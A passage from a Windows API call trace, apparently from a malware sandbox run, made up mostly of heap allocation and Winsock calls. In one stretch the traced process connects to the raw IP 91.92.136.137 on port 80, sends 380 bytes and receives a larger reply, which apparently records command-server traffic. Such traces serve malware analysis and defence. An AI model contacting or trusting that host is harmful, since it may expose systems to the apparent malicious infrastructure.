lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae074*=((len=0x1ff, buf=0x4ae0b0*)), lpNumberOfBytesRecvd=0x4ae07c*=0x1f4, lpFlags=0x4ae094*=0x0, lpOverlapped=0x4ae060) returned 0 [0037.498] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae080*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0037.498] WSAResetEvent (hEvent=0x184) returned 1 [0037.498] WSAGetOverlappedResult (in: s=0x18c, lpOverlapped=0x4ae060, lpcbTransfer=0x4ae07c, fWait=0, lpdwFlags=0x4ae094 | out: lpcbTransfer=0x4ae07c, lpdwFlags=0x4ae094) returned 1 [0037.498] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8ff) returned 0x5475e8 [0037.498] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x546fe0 | out: hHeap=0x510000) returned 1 [0037.498] WSARecv (in: s=0x18c, lpBuffers=0x4ae074, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae07c, lpFlags=0x4ae094*=0x0, lpOverlapped=0x4ae060, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae074*=((len=0x1ff, buf=0x4ae0b0*)), lpNumberOfBytesRecvd=0x4ae07c*=0x0, lpFlags=0x4ae094*=0x0, lpOverlapped=0x4ae060) returned 0 [0037.498] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae080*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0037.498] WSAResetEvent (hEvent=0x184) returned 1 [0037.498] WSAGetOverlappedResult (in: s=0x18c, lpOverlapped=0x4ae060, lpcbTransfer=0x4ae07c, fWait=0, lpdwFlags=0x4ae094 | out: lpcbTransfer=0x4ae07c, lpdwFlags=0x4ae094) returned 1 [0037.498] WSAGetLastError () returned 0 [0037.498] WSASetEvent (hEvent=0x184) returned 1 [0037.498] WSACloseEvent (hEvent=0x184) returned 1 [0037.498] closesocket (s=0x18c) returned 0 [0037.499] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540788 | out: hHeap=0x510000) returned 1 [0037.499] WSACleanup () returned 0 [0037.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x542258 [0037.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337e0 [0037.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x543a38 [0037.531] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542258 | out: hHeap=0x510000) returned 1 [0037.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ccd8 [0037.531] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e0 | out: hHeap=0x510000) returned 1 [0037.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x542258 [0037.531] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0037.531] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ccd8 | out: hHeap=0x510000) returned 1 [0037.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337e0 [0037.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x543a38 [0037.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ccd8 [0037.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x5495f8 [0037.531] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e0 | out: hHeap=0x510000) returned 1 [0037.531] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0037.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x543a38 [0037.531] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5495f8 | out: hHeap=0x510000) returned 1 [0037.531] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ccd8 | out: hHeap=0x510000) returned 1 [0037.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0037.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53e9b8 [0037.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ccd8 [0037.531] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53e9b8 | out: hHeap=0x510000) returned 1 [0037.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x47) returned 0x5287c8 [0037.531] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ccd8 | out: hHeap=0x510000) returned 1 [0037.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6a) returned 0x544220 [0037.531] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5287c8 | out: hHeap=0x510000) returned 1 [0037.531] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x9e) returned 0x544298 [0037.531] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544220 | out: hHeap=0x510000) returned 1 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xec) returned 0x53fd30 [0037.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544298 | out: hHeap=0x510000) returned 1 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x161) returned 0x540de0 [0037.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53fd30 | out: hHeap=0x510000) returned 1 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x211) returned 0x53fd30 [0037.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540de0 | out: hHeap=0x510000) returned 1 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x319) returned 0x544638 [0037.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53fd30 | out: hHeap=0x510000) returned 1 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4a5) returned 0x546fe0 [0037.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544638 | out: hHeap=0x510000) returned 1 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6f7) returned 0x5495f8 [0037.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x546fe0 | out: hHeap=0x510000) returned 1 [0037.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e0) returned 0x546fe0 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e0) returned 0x549cf8 [0037.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x546fe0 | out: hHeap=0x510000) returned 1 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ccd8 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337e0 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd10 [0037.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ccd8 | out: hHeap=0x510000) returned 1 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x550) returned 0x544638 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ccd8 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x550) returned 0x546fe0 [0037.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e0 | out: hHeap=0x510000) returned 1 [0037.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544638 | out: hHeap=0x510000) returned 1 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x48) returned 0x5287c8 [0037.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ccd8 | out: hHeap=0x510000) returned 1 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53e9b8 [0037.532] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x547538 [0037.533] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53eaa8 [0037.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5287c8 | out: hHeap=0x510000) returned 1 [0037.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53e9b8 | out: hHeap=0x510000) returned 1 [0037.533] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0037.533] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x90) returned 0x544220 [0037.533] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544c48 [0037.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547538 | out: hHeap=0x510000) returned 1 [0037.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0037.533] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x550) returned 0x544638 [0037.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd10 | out: hHeap=0x510000) returned 1 [0037.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x546fe0 | out: hHeap=0x510000) returned 1 [0037.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53eaa8 | out: hHeap=0x510000) returned 1 [0037.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544c48 | out: hHeap=0x510000) returned 1 [0037.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544220 | out: hHeap=0x510000) returned 1 [0037.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x549cf8 | out: hHeap=0x510000) returned 1 [0037.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5495f8 | out: hHeap=0x510000) returned 1 [0037.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0037.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542258 | out: hHeap=0x510000) returned 1 [0037.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cc30 | out: hHeap=0x510000) returned 1 [0037.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5475e8 | out: hHeap=0x510000) returned 1 [0037.533] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4ae388 | out: lpWSAData=0x4ae388) returned 0 [0037.538] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x53eaa8 [0037.538] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cc30 [0037.538] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53eaa8 | out: hHeap=0x510000) returned 1 [0037.538] WSACreateEvent () returned 0x208 [0037.538] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x19c [0037.542] gethostbyname (name="91.92.136.137") returned 0x26d4898*(h_name="91.92.136.137", h_aliases=0x26d48a8*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x26d48ac*=([0]="91.92.136.137")) [0045.713] htons (hostshort=0x50) returned 0x5000 [0045.713] connect (s=0x19c, name=0x4ae0b4*(sa_family=2, sin_port=0x50, sin_addr="91.92.136.137"), namelen=16) returned 0 [0045.760] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ccd8 [0045.760] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5432f0 [0045.760] GetLastError () returned 0x0 [0045.760] send (s=0x19c, buf=0x543ba8*, len=380, flags=0) returned 380 [0045.760] Sleep (dwMilliseconds=0x32) [0045.812] WSARecv (in: s=0x19c, lpBuffers=0x4ae0a4, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae0ac, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae0a4*=((len=0x1ff, buf=0x4ae0e0*)), lpNumberOfBytesRecvd=0x4ae0ac*=0x0, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090) returned 0 [0045.812] WSAGetLastError () returned 997 [0045.812] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae0b0*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0048.303] WSAResetEvent (hEvent=0x208) returned 1 [0048.303] WSAGetOverlappedResult (in: s=0x19c, lpOverlapped=0x4ae090, lpcbTransfer=0x4ae0ac, fWait=0, lpdwFlags=0x4ae0c4 | out: lpcbTransfer=0x4ae0ac, lpdwFlags=0x4ae0c4) returned 1 [0048.303] WSARecv (in: s=0x19c, lpBuffers=0x4ae0a4, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae0ac, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae0a4*=((len=0x1ff, buf=0x4ae0e0*)), lpNumberOfBytesRecvd=0x4ae0ac*=0x1ff, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090) returned 0 [0048.303] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae0b0*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0048.304] WSAResetEvent (hEvent=0x208) returned 1 [0048.304] WSAGetOverlappedResult (in: s=0x19c, lpOverlapped=0x4ae090, lpcbTransfer=0x4ae0ac, fWait=0, lpdwFlags=0x4ae0c4 | out: lpcbTransfer=0x4ae0ac, lpdwFlags=0x4ae0c4) returned 1 [0048.304] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x400) returned 0x543dd0 [0048.304] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543ba8 | out: hHeap=0x510000) returned 1 [0048.304] WSARecv (in: s=0x19c, lpBuffers=0x4ae0a4, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae0ac, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae0a4*=((len=0x1ff, buf=0x4ae0e0*)), lpNumberOfBytesRecvd=0x4ae0ac*=0x1ff, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090) returned 0 [0048.304] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae0b0*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0048.304] WSAResetEvent (hEvent=0x208) returned 1 [0048.304] WSAGetOverlappedResult (in: s=0x19c, lpOverlapped=0x4ae090, lpcbTransfer=0x4ae0ac, fWait=0, lpdwFlags=0x4ae0c4 | out: lpcbTransfer=0x4ae0ac, lpdwFlags=0x4ae0c4) returned 1 [0048.304] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x600) returned 0x546fe0 [0048.304] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543dd0 | out: hHeap=0x510000) returned 1 [0048.304] WSARecv (in: s=0x19c, lpBuffers=0x4ae0a4, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae0ac, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae0a4*=((len=0x1ff, buf=0x4ae0e0*)), lpNumberOfBytesRecvd=0x4ae0ac*=0x1ff, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090) returned 0 [0048.304] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae0b0*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0048.305] WSAResetEvent (hEvent=0x208) returned 1 [0048.305] WSAGetOverlappedResult (in: s=0x19c, lpOverlapped=0x4ae090, lpcbTransfer=0x4ae0ac, fWait=0, lpdwFlags=0x4ae0c4 | out: lpcbTransfer=0x4ae0ac, lpdwFlags=0x4ae0c4) returned 1 [0048.305] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8ff) returned 0x5475e8 [0048.305] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x546fe0 | out: hHeap=0x510000) returned 1 [0048.305] WSARecv (in: s=0x19c, lpBuffers=0x4ae0a4, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae0ac, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae0a4*=((len=0x1ff, buf=0x4ae0e0*)), lpNumberOfBytesRecvd=0x4ae0ac*=0x1ff, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090) returned 0 [0048.305] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae0b0*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0048.305] WSAResetEvent (hEvent=0x208) returned 1 [0048.305] WSAGetOverlappedResult (in: s=0x19c, lpOverlapped=0x4ae090, lpcbTransfer=0x4ae0ac, fWait=0, lpdwFlags=0x4ae0c4 | out: lpcbTransfer=0x4ae0ac, lpdwFlags=0x4ae0c4) returned 1 [0048.305] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xd7e) returned 0x5495f8 [0048.305] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5475e8 | out: hHeap=0x510000) returned 1 [0048.305] WSARecv (in: s=0x19c, lpBuffers=0x4ae0a4, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae0ac, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae0a4*=((len=0x1ff, buf=0x4ae0e0*)), lpNumberOfBytesRecvd=0x4ae0ac*=0x16d, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090) returned 0 [0048.305] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae0b0*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0048.305] WSAResetEvent (hEvent=0x208) returned 1 [0048.305] WSAGetOverlappedResult (in: s=0x19c, lpOverlapped=0x4ae090, lpcbTransfer=0x4ae0ac, fWait=0, lpdwFlags=0x4ae0c4 | out: lpcbTransfer=0x4ae0ac, lpdwFlags=0x4ae0c4) returned 1 [0048.305] WSARecv (in: s=0x19c, lpBuffers=0x4ae0a4, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae0ac, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae0a4*=((len=0x1ff, buf=0x4ae0e0*)), lpNumberOfBytesRecvd=0x4ae0ac*=0x0, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090) returned 0 [0048.305] WSAGetLastError () returned 997 [0048.305] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae0b0*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0048.553] WSAResetEvent (hEvent=0x208) returned 1 [0048.553] WSAGetOverlappedResult (in: s=0x19c, lpOverlapped=0x4ae090, lpcbTransfer=0x4ae0ac, fWait=0, lpdwFlags=0x4ae0c4 | out: lpcbTransfer=0x4ae0ac, lpdwFlags=0x4ae0c4) returned 1 [0048.553] WSARecv (in: s=0x19c, lpBuffers=0x4ae0a4, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae0ac, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae0a4*=((len=0x1ff, buf=0x4ae0e0*)), lpNumberOfBytesRecvd=0x4ae0ac*=0x1ff, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090) returned 0 [0048.553] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae0b0*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0048.553] WSAResetEvent (hEvent=0x208) returned 1 [0048.553] WSAGetOverlappedResult (in: s=0x19c, lpOverlapped=0x4ae090, lpcbTransfer=0x4ae0ac, fWait=0, lpdwFlags=0x4ae0c4 | out: lpcbTransfer=0x4ae0ac, lpdwFlags=0x4ae0c4) returned 1 [0048.553] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x145f) returned 0x54a380 [0048.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5495f8 | out: hHeap=0x510000) returned 1 [0048.554] WSARecv (in: s=0x19c, lpBuffers=0x4ae0a4, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae0ac, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae0a4*=((len=0x1ff, buf=0x4ae0e0*)), lpNumberOfBytesRecvd=0x4ae0ac*=0x167, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090) returned 0 [0048.554] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae0b0*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0048.554] WSAResetEvent (hEvent=0x208) returned 1 [0048.554] WSAGetOverlappedResult (in: s=0x19c, lpOverlapped=0x4ae090, lpcbTransfer=0x4ae0ac, fWait=0, lpdwFlags=0x4ae0c4 | out: lpcbTransfer=0x4ae0ac, lpdwFlags=0x4ae0c4) returned 1 [0048.554] WSARecv (in: s=0x19c, lpBuffers=0x4ae0a4, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae0ac, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae0a4*=((len=0x1ff, buf=0x4ae0e0*)), lpNumberOfBytesRecvd=0x4ae0ac*=0x0, lpFlags=0x4ae0c4*=0x0, lpOverlapped=0x4ae090) returned 0 [0048.554] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae0b0*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0048.554] WSAResetEvent (hEvent=0x208) returned 1 [0048.554] WSAGetOverlappedResult (in: s=0x19c, lpOverlapped=0x4ae090, lpcbTransfer=0x4ae0ac, fWait=0, lpdwFlags=0x4ae0c4 | out: lpcbTransfer=0x4ae0ac, lpdwFlags=0x4ae0c4) returned 1 [0048.554] WSAGetLastError () returned 0 [0048.554] WSASetEvent (hEvent=0x208) returned 1 [0048.554] WSACloseEvent (hEvent=0x208) returned 1 [0048.554] closesocket (s=0x19c) returned 0 [0048.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5432f0 | out: hHeap=0x510000) returned 1 [0048.555] WSACleanup () returned 0 [0048.559] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10e3) returned 0x54b7e8 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337e0 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10e3) returned 0x54c8d8 [0048.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b7e8 | out: hHeap=0x510000) returned 1 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ccd8 [0048.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e0 | out: hHeap=0x510000) returned 1 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10e3) returned 0x54b7e8 [0048.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c8d8 | out: hHeap=0x510000) returned 1 [0048.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ccd8 | out: hHeap=0x510000) returned 1 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337e0 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10e3) returned 0x54c8d8 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ccd8 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10e3) returned 0x54d9c8 [0048.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e0 | out: hHeap=0x510000) returned 1 [0048.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c8d8 | out: hHeap=0x510000) returned 1 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10e3) returned 0x54c8d8 [0048.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54d9c8 | out: hHeap=0x510000) returned 1 [0048.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ccd8 | out: hHeap=0x510000) returned 1 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544c48 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5400f8 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ccd8 [0048.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5400f8 | out: hHeap=0x510000) returned 1 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x47) returned 0x528778 [0048.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ccd8 | out: hHeap=0x510000) returned 1 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6a) returned 0x53fe40 [0048.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x528778 | out: hHeap=0x510000) returned 1 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x9e) returned 0x53feb8 [0048.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53fe40 | out: hHeap=0x510000) returned 1 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xec) returned 0x540de0 [0048.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53feb8 | out: hHeap=0x510000) returned 1 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x161) returned 0x540ed8 [0048.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540de0 | out: hHeap=0x510000) returned 1 [0048.560] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x211) returned 0x542258 [0048.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540ed8 | out: hHeap=0x510000) returned 1 [0048.561] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x319) returned 0x542478 [0048.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542258 | out: hHeap=0x510000) returned 1 [0048.561] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4a5) returned 0x543a38 [0048.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542478 | out: hHeap=0x510000) returned 1 [0048.561] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6f7) returned 0x542258 [0048.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0048.561] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa72) returned 0x5495f8 [0048.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542258 | out: hHeap=0x510000) returned 1 [0048.561] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfaa) returned 0x54d9c8 [0048.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5495f8 | out: hHeap=0x510000) returned 1 [0048.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544c48 | out: hHeap=0x510000) returned 1 [0048.561] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc90) returned 0x5495f8 [0048.561] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc90) returned 0x546fe0 [0048.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5495f8 | out: hHeap=0x510000) returned 1 [0048.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54d9c8 | out: hHeap=0x510000) returned 1 [0048.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c8d8 | out: hHeap=0x510000) returned 1 [0048.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, 